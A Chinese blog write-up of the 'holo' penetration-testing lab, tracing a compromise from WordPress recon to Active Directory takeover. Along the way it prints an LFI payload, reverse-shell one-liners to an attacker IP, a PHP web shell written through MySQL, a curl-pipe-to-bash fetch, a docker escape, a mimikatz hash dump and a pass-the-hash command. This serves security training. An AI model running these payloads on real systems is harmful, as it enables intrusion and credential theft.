【靶机】holo-AD域渗透&web_lab-外网渗透-内网渗透

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简介: 视频教程:【【靶机】holo-AD域渗透&web_lab(1)-外网渗透-内网渗透】 https://www.bilibili.com/video/BV13G4y1j7xF/?share_source=copy_web&vd_source=21485fc93994c5f47b14e02ed42e0e49

holo

【【靶机】holo-AD域渗透&web_lab(1)-外网渗透-内网渗透】 https://www.bilibili.com/video/BV13G4y1j7xF/?share_source=copy_web&vd_source=21485fc93994c5f47b14e02ed42e0e49

┌──(zacarx㉿zacarx)-[~]
└─$ nmap -T4 10.200.110.33 -A 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-26 16:04 CST
Nmap scan report for 10.200.110.33 (10.200.110.33)
Host is up (0.19s latency).
Not shown: 982 closed tcp ports (conn-refused)
PORT      STATE    SERVICE            VERSION
22/tcp    open     ssh                OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 41:38:8d:8a:ee:8a:4b:6c:f9:f0:a3:79:e8:96:3b:36 (RSA)
|   256 63:66:d6:68:60:67:9a:36:ae:d1:99:b7:8b:66:4e:6d (ECDSA)
|_  256 87:00:d8:b1:c7:63:5e:9c:30:8c:3d:e1:d0:5a:79:63 (ED25519)
80/tcp    open     http               Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.5.3
| http-robots.txt: 21 disallowed entries (15 shown)
| /var/www/wordpress/index.php 
| /var/www/wordpress/readme.html /var/www/wordpress/wp-activate.php 
| /var/www/wordpress/wp-blog-header.php /var/www/wordpress/wp-config.php 
| /var/www/wordpress/wp-content /var/www/wordpress/wp-includes 
| /var/www/wordpress/wp-load.php /var/www/wordpress/wp-mail.php 
| /var/www/wordpress/wp-signup.php /var/www/wordpress/xmlrpc.php 
| /var/www/wordpress/license.txt /var/www/wordpress/upgrade 
|_/var/www/wordpress/wp-admin /var/www/wordpress/wp-comments-post.php
|_http-title: holo.live
109/tcp   filtered pop2
465/tcp   filtered smtps
720/tcp   filtered unknown
911/tcp   filtered xact-backup
999/tcp   filtered garcon
1110/tcp  filtered nfsd-status
1259/tcp  filtered opennl-voice
1524/tcp  filtered ingreslock
2222/tcp  filtered EtherNetIP-1
5959/tcp  filtered unknown
5960/tcp  filtered unknown
6003/tcp  filtered X11:3
6668/tcp  filtered irc
6881/tcp  filtered bittorrent-tracker
8093/tcp  filtered unknown
14000/tcp filtered scotty-ft
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
──(zacarx㉿zacarx)-[~]
└─$ wpscan --url "http://10.200.110.33" --enumerate u

....


[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.29 (Ubuntu)
 |  - X-UA-Compatible: IE=edge
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://10.200.110.33/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.200.110.33/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://10.200.110.33/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.200.110.33/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.5.3 identified (Insecure, released on 2020-10-30).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.200.110.33/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.5.3'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.200.110.33/, Match: 'WordPress 5.5.3'

[i] The main theme could not be detected.
+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <================================================================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] admin
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.200.110.33/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
┌──(zacarx㉿zacarx)-[~/SecLists/Discovery/DNS]
└─$ gobuster vhost -u holo.live -w ./subdomains-top1million-5000.txt -t 1
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://holo.live
[+] Method:       GET
[+] Threads:      1
[+] Wordlist:     ./subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/12/26 16:31:44 Starting gobuster in VHOST enumeration mode
===============================================================

...
因为网络,大量报错432就不复制了
最后找到了,dev,admin子域名

我们对这三个域名进行目录爆破

得到:

www.holo.live/robots.txt
dev.holo.live/about.php
dev.holo.live/img.php
dev.holo.live/index.php

User-agent: *
Disallow: /var/www/admin/db.php
Disallow: /var/www/admin/dashboard.php
Disallow: /var/www/admin/supersecretdir/creds.txt

后来,我发现dev.holo.live出现本地文件包含漏洞

让我们试试我们使用的有效载荷---http://dev.holo.live/img.php?file=../../../etc/passwd

得到

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

我们可以搜到利用这个漏洞拿到admin凭证

 know you forget things, so I'm leaving this note for you:
admin:DBManagerLogin!
- gurag <3

我们在管理网页源码查看页发现了?cmd= 执行漏洞

于是cmd建立反弹shell

http://admin.holo.live/dashboard.php?cmd=nc%20-c%20bash%2010.50.107.175%208888

推荐bash -c 'bash -i >& /dev/tcp/10.50.107.175/8888 0>&1

http://admin.holo.live/dashboard.php?cmd=nc+-e+/bin/sh+10.50.107.175+1234

然后找到db_config文件

<?php

define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');

$connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);

if($connection == false){

        die("Error: Connection to Database could not be made." . mysqli_connect_error());
}
?>
find / -type f -name "*.dockerenv" -ls 2>/dev/null

得知我们身处容器之中,需要逃逸

python3 -c 'import pty;pty.spawn("/bin/bash")'

我们连接mysql

mysql -u admin -p -h 192.168.100.1

结果没回显

那么再次安利渗透猴

Reverse Shell Cheat Sheet | pentestmonkey

后来我发现

python3 -c 'import pty; pty.spawn("/bin/bash")'

但是

python -c 'import pty; pty.spawn("/bin/bash")'

不可

算是长教训了,泪目。

最后在数据库发现:

mysql> select * from users;
select * from users;
+----------+-----------------+
| username | password        |
+----------+-----------------+
| admin    | DBManagerLogin! |
| gurag    | AAAA            |
+----------+-----------------+
2 rows in set (0.00 sec)

然后我们利用数据库进行权限突破

CREATE TABLE hax(Code varchar(255));
INSERT INTO hax (Code) value ('<?php $cmd=$_GET[\"cmd\"]\;system($cmd)\;?>');
>>>mysql> SELECT * FROM hax;
SELECT * FROM hax;
+-----------------------------------------+
| Code                                    |
+-----------------------------------------+
| <?php $cmd=$_GET["cmd"];system($cmd);?> |
+-----------------------------------------+
1 row in set (0.00 sec)

我们查看secure_file_priv变量

mysql> SHOW VARIABLES LIKE "secure_file_priv";

mysql> SHOW VARIABLES LIKE "secure_file_priv";
SHOW VARIABLES LIKE "secure_file_priv";
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| secure_file_priv | /var/www/html/ |
+------------------+----------------+
1 row in set (0.00 sec)

因此,我们进行写入操作

SELECT * FROM hax INTO OUTFILE '/var/www/html/hax.php';
www-data@14c75992b944:/tmp/babbadeckl$ for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
Port 22 open
Port 80 open
Port 3306 open
Port 8080 open

检查有效性

curl 192.168.100.1:8080/hax.php?cmd=id
curl http://192.168.100.1:8080/hax.php?cmd=nc+-e+/bin/sh+10.50.107.175+9999
这个方法貌似不管用了
我们换种方法。

find / -perm -u=s -type f 2>/dev/null

我们在卡里建立1.sh

写入1.sh

#!/bin/bash
bash -i >& /dev/tcp/10.50.107.175/999 0>&1

然后建立http服务

然后使用msf监听

msfconsole
use multi/handler
set LHOST tun0
set LPORT 53
run

然后我们在shell输入

curl 192.168.100.1:8080/hax.php?cmd=curl%20http%3A%2F%2F10.50.107.175%3A80%2F1.sh%7Cbash%20%26

c^z退出

search post/multi/manage/shell_to_meterpreter
use 0
set session 1
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh >> linpeas.sh

chmod +x linpeas.sh

upload linpeas.sh

shell

chmod 777 linpeas.sh

./linpeas.sh >> linpeas.txt
find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/umount
/usr/bin/docker
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/at
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/mount
/usr/bin/chsh

docker有点可疑,于是我们搜下能不能利用

搜到了!

docker | GTFOBins

于是我们输入

/usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh

报错

Unable to find image 'alpine:latest' locally

我们输入docker ps -a

得到image,替换下

python3 -c 'import pty; pty.spawn("/bin/bash")'
/usr/bin/docker run -v /:/mnt --rm -it cb1b741122e8 chroot /mnt sh
不过我们依旧在容器上
于是我们输入
docker image ls
找到unbuntu版本
/usr/bin/docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh

我们cat /etc/shadow文件

得到

# cat /etc/shadow
cat /etc/shadow
root:$6$TvYo6Q8EXPuYD8w0$Yc.Ufe3ffMwRJLNroJuMvf5/Telga69RdVEvgWBC.FN5rs9vO0NeoKex4jIaxCyWNPTDtYfxWn.EM4OLxjndR1:18605:0:99999:7:::
daemon:*:18512:0:99999:7:::
bin:*:18512:0:99999:7:::
sys:*:18512:0:99999:7:::
sync:*:18512:0:99999:7:::
games:*:18512:0:99999:7:::
man:*:18512:0:99999:7:::
lp:*:18512:0:99999:7:::
mail:*:18512:0:99999:7:::
news:*:18512:0:99999:7:::
uucp:*:18512:0:99999:7:::
proxy:*:18512:0:99999:7:::
www-data:*:18512:0:99999:7:::
backup:*:18512:0:99999:7:::
list:*:18512:0:99999:7:::
irc:*:18512:0:99999:7:::
gnats:*:18512:0:99999:7:::
nobody:*:18512:0:99999:7:::
systemd-network:*:18512:0:99999:7:::
systemd-resolve:*:18512:0:99999:7:::
systemd-timesync:*:18512:0:99999:7:::
messagebus:*:18512:0:99999:7:::
syslog:*:18512:0:99999:7:::
_apt:*:18512:0:99999:7:::
tss:*:18512:0:99999:7:::
uuidd:*:18512:0:99999:7:::
tcpdump:*:18512:0:99999:7:::
sshd:*:18512:0:99999:7:::
landscape:*:18512:0:99999:7:::
pollinate:*:18512:0:99999:7:::
ec2-instance-connect:!:18512:0:99999:7:::
systemd-coredump:!!:18566::::::
ubuntu:!$6$6/mlN/Q.1gopcuhc$7ymOCjV3RETFUl6GaNbau9MdEGS6NgeXLM.CDcuS5gNj2oIQLpRLzxFuAwG0dGcLk1NX70EVzUUKyUQOezaf0.:18601:0:99999:7:::
lxd:!:18566::::::
mysql:!:18566:0:99999:7:::
dnsmasq:*:18566:0:99999:7:::
linux-admin:$6$Zs4KmlUsMiwVLy2y$V8S5G3q7tpBMZip8Iv/H6i5ctHVFf6.fS.HXBw9Kyv96Qbc2ZHzHlYHkaHm8A5toyMA3J53JU.dc6ZCjRxhjV1:18570:0:99999:7:::

然后我们用hashcat爆破

hashcat -a 0 -m 1800 p.txt /usr/share/wordlists/rockyou.txt

得到密码linuxrulez

sshuttle -r linux-admin@10.200.111.33 10.200.111.0/24

ssh-keygen -t rsa

获取密钥

把自己的密钥加到/root/.ssh/authorized_keys

貌似nmap不行

于是

我们ssh登录到10.200.110.33

root@ip-10-200-110-33:~# nmap -sP 10.200.110.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-28 06:25 UTC
Nmap scan report for ip-10-200-110-1.eu-west-1.compute.internal (10.200.110.1)
Host is up (0.00012s latency).
MAC Address: 02:27:12:F2:56:27 (Unknown)
Nmap scan report for ip-10-200-110-30.eu-west-1.compute.internal (10.200.110.30)
Host is up (0.0011s latency).
MAC Address: 02:7B:52:BC:1E:D3 (Unknown)
Nmap scan report for ip-10-200-110-31.eu-west-1.compute.internal (10.200.110.31)
Host is up (0.00041s latency).
MAC Address: 02:2D:A4:13:01:2F (Unknown)
Nmap scan report for ip-10-200-110-32.eu-west-1.compute.internal (10.200.110.32)
Host is up (0.00032s latency).
MAC Address: 02:3E:0F:BB:96:B3 (Unknown)
Nmap scan report for ip-10-200-110-35.eu-west-1.compute.internal (10.200.110.35)
Host is up (0.0011s latency).
MAC Address: 02:90:CD:DE:93:AD (Unknown)
Nmap scan report for ip-10-200-110-250.eu-west-1.compute.internal (10.200.110.250)
Host is up (0.00059s latency).
MAC Address: 02:FC:B2:BC:42:65 (Unknown)
Nmap scan report for ip-10-200-110-33.eu-west-1.compute.internal (10.200.110.33)
Host is up.
Nmap done: 256 IP addresses (7 hosts up) scanned in 1.70 seconds

哦我们发现

10.200.110.31

有一个登录页面

页面有重置密码,我们很轻易的就通过逻辑漏洞将其突破

后来我们看到了,文件上传漏洞

之前讲过的知识了

我们直接屏蔽js

轻松上传

注意第一次我执行失败

因为我用的是linux的php反弹shell文件

然后我们就拿到了shell

下载minikatz

Download mimikatz from SourceForge.net

然后上传

powershell.exe Invoke-WebRequest http://10.50.107.175/mimikatz.exe -outfile mimikatz.exe

.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit

得到

.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # token::elevate
Token Id  : 0
User name : 
SID name  : NT AUTHORITY\SYSTEM

668    {0;000003e7} 1 D 21351         NT AUTHORITY\SYSTEM    S-1-5-18    (04g,21p)    Primary
 -> Impersonated !
 * Process Token : {0;000003e7} 0 D 2076472       NT AUTHORITY\SYSTEM    S-1-5-18    (04g,28p)    Primary
 * Thread Token  : {0;000003e7} 1 D 2100336       NT AUTHORITY\SYSTEM    S-1-5-18    (04g,21p)    Impersonation (Delegation)

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 306323 (00000000:0004ac93)
Session           : Interactive from 1
User Name         : watamet
Domain            : HOLOLIVE
Logon Server      : DC-SRV01
Logon Time        : 12/28/2022 5:34:26 AM
SID               : S-1-5-21-471847105-3603022926-1728018720-1132
    msv :    
     [00000003] Primary
     * Username : watamet
!!!!!
     * Domain   : HOLOLIVE
     * NTLM     : d8d41e6cf762a8c77776a1843d4141c9
!!!!
     * SHA1     : 7701207008976fdd6c6be9991574e2480853312d
     * DPAPI    : 300d9ad961f6f680c6904ac6d0f17fd0
    tspkg :    
    wdigest :    
     * Username : watamet
     * Domain   : HOLOLIVE
     * Password : (null)
    kerberos :    


!!!
     * Username : watamet
     * Domain   : HOLO.LIVE
     * Password : Nothingtoworry!
     
!!!!
    ssp :    
    credman :    

Authentication Id : 0 ; 45785 (00000000:0000b2d9)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 12/28/2022 5:34:05 AM
SID               : S-1-5-90-0-1
    msv :    
     [00000003] Primary
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * NTLM     : 3179c8ec65934b8d33ac9ec2a9d93400
     * SHA1     : fb4789d7ac8f1b2a46319fcb0ae10e616bd6a399
    tspkg :    
    wdigest :    
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * Password : (null)
    kerberos :    
     * Username : S-SRV01$
     * Domain   : holo.live
     * Password : 9e 8e d8 e0 37 37 04 5f 38 08 bd 3e aa b5 41 58 87 d0 db 00 dd ce 62 58 8f ee aa 5c b8 0d 05 c5 34 a5 70 80 2d 50 8f 25 68 a8 23 dd 04 ea aa 5c a5 25 63 93 1b 06 c6 e2 f2 3f 6a 49 d5 ad a2 16 e4 df df 5e 36 aa 5f 6a ab 56 d1 c5 3a df 85 7f 80 79 8d 61 d0 35 d2 56 0a e4 c1 51 df fc f3 ab f3 a2 83 81 01 d9 b2 79 89 c5 0d d5 c7 ad 52 fc d4 db 59 fa 04 95 22 3f 5d 21 f3 b4 10 0f ec 0b 04 c4 7b d9 f8 b6 08 de 83 de 7a 3f 37 48 40 e2 31 fe 85 9d 9c 4c 90 8c 41 55 29 14 0d 67 6a c1 68 66 ff cc f9 bc 19 56 a9 4a b9 60 c9 05 aa 0f 5b 96 d5 1f d2 1f 02 52 37 a2 8d 5c 1e da fb 2c 27 20 f3 6b 76 a1 66 b4 d3 d5 f2 28 11 08 26 83 4a d6 a6 3a 62 86 02 53 ee d9 a6 4e 44 6d 93 e4 ac 10 28 ee ae 4c b8 ba 52 09 e2 dc 7e 40 fd ef 
    ssp :    
    credman :    

Authentication Id : 0 ; 45707 (00000000:0000b28b)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 12/28/2022 5:34:05 AM
SID               : S-1-5-90-0-1
    msv :    
     [00000003] Primary
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * NTLM     : 3179c8ec65934b8d33ac9ec2a9d93400
     * SHA1     : fb4789d7ac8f1b2a46319fcb0ae10e616bd6a399
    tspkg :    
    wdigest :    
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * Password : (null)
    kerberos :    
     * Username : S-SRV01$
     * Domain   : holo.live
     * Password : 9e 8e d8 e0 37 37 04 5f 38 08 bd 3e aa b5 41 58 87 d0 db 00 dd ce 62 58 8f ee aa 5c b8 0d 05 c5 34 a5 70 80 2d 50 8f 25 68 a8 23 dd 04 ea aa 5c a5 25 63 93 1b 06 c6 e2 f2 3f 6a 49 d5 ad a2 16 e4 df df 5e 36 aa 5f 6a ab 56 d1 c5 3a df 85 7f 80 79 8d 61 d0 35 d2 56 0a e4 c1 51 df fc f3 ab f3 a2 83 81 01 d9 b2 79 89 c5 0d d5 c7 ad 52 fc d4 db 59 fa 04 95 22 3f 5d 21 f3 b4 10 0f ec 0b 04 c4 7b d9 f8 b6 08 de 83 de 7a 3f 37 48 40 e2 31 fe 85 9d 9c 4c 90 8c 41 55 29 14 0d 67 6a c1 68 66 ff cc f9 bc 19 56 a9 4a b9 60 c9 05 aa 0f 5b 96 d5 1f d2 1f 02 52 37 a2 8d 5c 1e da fb 2c 27 20 f3 6b 76 a1 66 b4 d3 d5 f2 28 11 08 26 83 4a d6 a6 3a 62 86 02 53 ee d9 a6 4e 44 6d 93 e4 ac 10 28 ee ae 4c b8 ba 52 09 e2 dc 7e 40 fd ef 
    ssp :    
    credman :    

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : S-SRV01$
Domain            : HOLOLIVE
Logon Server      : (null)
Logon Time        : 12/28/2022 5:34:05 AM
SID               : S-1-5-20
    msv :    
     [00000003] Primary
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * NTLM     : 3179c8ec65934b8d33ac9ec2a9d93400
     * SHA1     : fb4789d7ac8f1b2a46319fcb0ae10e616bd6a399
    tspkg :    
    wdigest :    
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * Password : (null)
    kerberos :    
     * Username : s-srv01$
     * Domain   : HOLO.LIVE
     * Password : (null)
    ssp :    
    credman :    

Authentication Id : 0 ; 27323 (00000000:00006abb)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 12/28/2022 5:34:05 AM
SID               : S-1-5-96-0-0
    msv :    
     [00000003] Primary
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * NTLM     : 3179c8ec65934b8d33ac9ec2a9d93400
     * SHA1     : fb4789d7ac8f1b2a46319fcb0ae10e616bd6a399
    tspkg :    
    wdigest :    
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * Password : (null)
    kerberos :    
     * Username : S-SRV01$
     * Domain   : holo.live
     * Password : 9e 8e d8 e0 37 37 04 5f 38 08 bd 3e aa b5 41 58 87 d0 db 00 dd ce 62 58 8f ee aa 5c b8 0d 05 c5 34 a5 70 80 2d 50 8f 25 68 a8 23 dd 04 ea aa 5c a5 25 63 93 1b 06 c6 e2 f2 3f 6a 49 d5 ad a2 16 e4 df df 5e 36 aa 5f 6a ab 56 d1 c5 3a df 85 7f 80 79 8d 61 d0 35 d2 56 0a e4 c1 51 df fc f3 ab f3 a2 83 81 01 d9 b2 79 89 c5 0d d5 c7 ad 52 fc d4 db 59 fa 04 95 22 3f 5d 21 f3 b4 10 0f ec 0b 04 c4 7b d9 f8 b6 08 de 83 de 7a 3f 37 48 40 e2 31 fe 85 9d 9c 4c 90 8c 41 55 29 14 0d 67 6a c1 68 66 ff cc f9 bc 19 56 a9 4a b9 60 c9 05 aa 0f 5b 96 d5 1f d2 1f 02 52 37 a2 8d 5c 1e da fb 2c 27 20 f3 6b 76 a1 66 b4 d3 d5 f2 28 11 08 26 83 4a d6 a6 3a 62 86 02 53 ee d9 a6 4e 44 6d 93 e4 ac 10 28 ee ae 4c b8 ba 52 09 e2 dc 7e 40 fd ef 
    ssp :    
    credman :    

Authentication Id : 0 ; 27283 (00000000:00006a93)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 12/28/2022 5:34:05 AM
SID               : S-1-5-96-0-1
    msv :    
     [00000003] Primary
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * NTLM     : 3179c8ec65934b8d33ac9ec2a9d93400
     * SHA1     : fb4789d7ac8f1b2a46319fcb0ae10e616bd6a399
    tspkg :    
    wdigest :    
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * Password : (null)
    kerberos :    
     * Username : S-SRV01$
     * Domain   : holo.live
     * Password : 9e 8e d8 e0 37 37 04 5f 38 08 bd 3e aa b5 41 58 87 d0 db 00 dd ce 62 58 8f ee aa 5c b8 0d 05 c5 34 a5 70 80 2d 50 8f 25 68 a8 23 dd 04 ea aa 5c a5 25 63 93 1b 06 c6 e2 f2 3f 6a 49 d5 ad a2 16 e4 df df 5e 36 aa 5f 6a ab 56 d1 c5 3a df 85 7f 80 79 8d 61 d0 35 d2 56 0a e4 c1 51 df fc f3 ab f3 a2 83 81 01 d9 b2 79 89 c5 0d d5 c7 ad 52 fc d4 db 59 fa 04 95 22 3f 5d 21 f3 b4 10 0f ec 0b 04 c4 7b d9 f8 b6 08 de 83 de 7a 3f 37 48 40 e2 31 fe 85 9d 9c 4c 90 8c 41 55 29 14 0d 67 6a c1 68 66 ff cc f9 bc 19 56 a9 4a b9 60 c9 05 aa 0f 5b 96 d5 1f d2 1f 02 52 37 a2 8d 5c 1e da fb 2c 27 20 f3 6b 76 a1 66 b4 d3 d5 f2 28 11 08 26 83 4a d6 a6 3a 62 86 02 53 ee d9 a6 4e 44 6d 93 e4 ac 10 28 ee ae 4c b8 ba 52 09 e2 dc 7e 40 fd ef 
    ssp :    
    credman :    

Authentication Id : 0 ; 26060 (00000000:000065cc)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 12/28/2022 5:34:04 AM
SID               : 
    msv :    
     [00000003] Primary
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * NTLM     : 3179c8ec65934b8d33ac9ec2a9d93400
     * SHA1     : fb4789d7ac8f1b2a46319fcb0ae10e616bd6a399
    tspkg :    
    wdigest :    
    kerberos :    
    ssp :    
    credman :    

Authentication Id : 0 ; 306298 (00000000:0004ac7a)
Session           : Interactive from 1
User Name         : watamet
Domain            : HOLOLIVE
Logon Server      : DC-SRV01
Logon Time        : 12/28/2022 5:34:26 AM
SID               : S-1-5-21-471847105-3603022926-1728018720-1132
    msv :    
     [00000003] Primary
     * Username : watamet
     * Domain   : HOLOLIVE
     * NTLM     : d8d41e6cf762a8c77776a1843d4141c9
     * SHA1     : 7701207008976fdd6c6be9991574e2480853312d
     * DPAPI    : 300d9ad961f6f680c6904ac6d0f17fd0
    tspkg :    
    wdigest :    
     * Username : watamet
     * Domain   : HOLOLIVE
     * Password : (null)
    kerberos :    
     * Username : watamet
     * Domain   : HOLO.LIVE
     * Password : (null)
    ssp :    
    credman :    

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 12/28/2022 5:34:10 AM
SID               : S-1-5-17
    msv :    
    tspkg :    
    wdigest :    
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :    
    ssp :    
    credman :    

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 12/28/2022 5:34:06 AM
SID               : S-1-5-19
    msv :    
    tspkg :    
    wdigest :    
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :    
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :    
    credman :    

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : S-SRV01$
Domain            : HOLOLIVE
Logon Server      : (null)
Logon Time        : 12/28/2022 5:34:04 AM
SID               : S-1-5-18
    msv :    
    tspkg :    
    wdigest :    
     * Username : S-SRV01$
     * Domain   : HOLOLIVE
     * Password : (null)
    kerberos :    
     * Username : s-srv01$
     * Domain   : HOLO.LIVE
     * Password : (null)
    ssp :    
    credman :    

mimikatz(commandline) # exit
Bye!

然后我们使用

CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具

Passing-the-Hash

CME支持使用带-H标志的Passing-The-Hash攻击通过SMB进行身份验证

crackmapexec smb <target(s)> -u username -H NTHASH

这可以让我们搜索到内部网络中的现有 SMB 服务器

crackmapexec smb 10.200.110.0/24 -u watamet -d HOLOLIVE -H d8d41e6cf762a8c77776a1843d4141c9

    得到                                                                                                                                  
┌──(zacarx㉿zacarx)-[~]
└─$ crackmapexec smb 10.200.110.0/24 -u watamet -d HOLOLIVE -H d8d41e6cf762a8c77776a1843d4141c9
SMB         10.200.110.30   445    DC-SRV01         [*] Windows 10.0 Build 17763 x64 (name:DC-SRV01) (domain:HOLOLIVE) (signing:False) (SMBv1:False)
SMB         10.200.110.35   445    PC-FILESRV01     [*] Windows 10.0 Build 17763 x64 (name:PC-FILESRV01) (domain:HOLOLIVE) (signing:False) (SMBv1:False)
SMB         10.200.110.31   445    S-SRV01          [*] Windows 10.0 Build 17763 x64 (name:S-SRV01) (domain:HOLOLIVE) (signing:False) (SMBv1:False)
SMB         10.200.110.30   445    DC-SRV01         [+] HOLOLIVE\watamet:d8d41e6cf762a8c77776a1843d4141c9 
SMB         10.200.110.35   445    PC-FILESRV01     [+] HOLOLIVE\watamet:d8d41e6cf762a8c77776a1843d4141c9 
SMB         10.200.110.31   445    S-SRV01          [+] HOLOLIVE\watamet:d8d41e6cf762a8c77776a1843d4141c9 (Pwn3d!)

我们连接一下

smbclient //10.200.110.35/Users -U HOLOLIVE/watamet

拿到user.txt

shuru

xfreerdp /u:watamet /p:'Nothingtoworry!' /v:10.200.110.35

进入桌面拿powershell
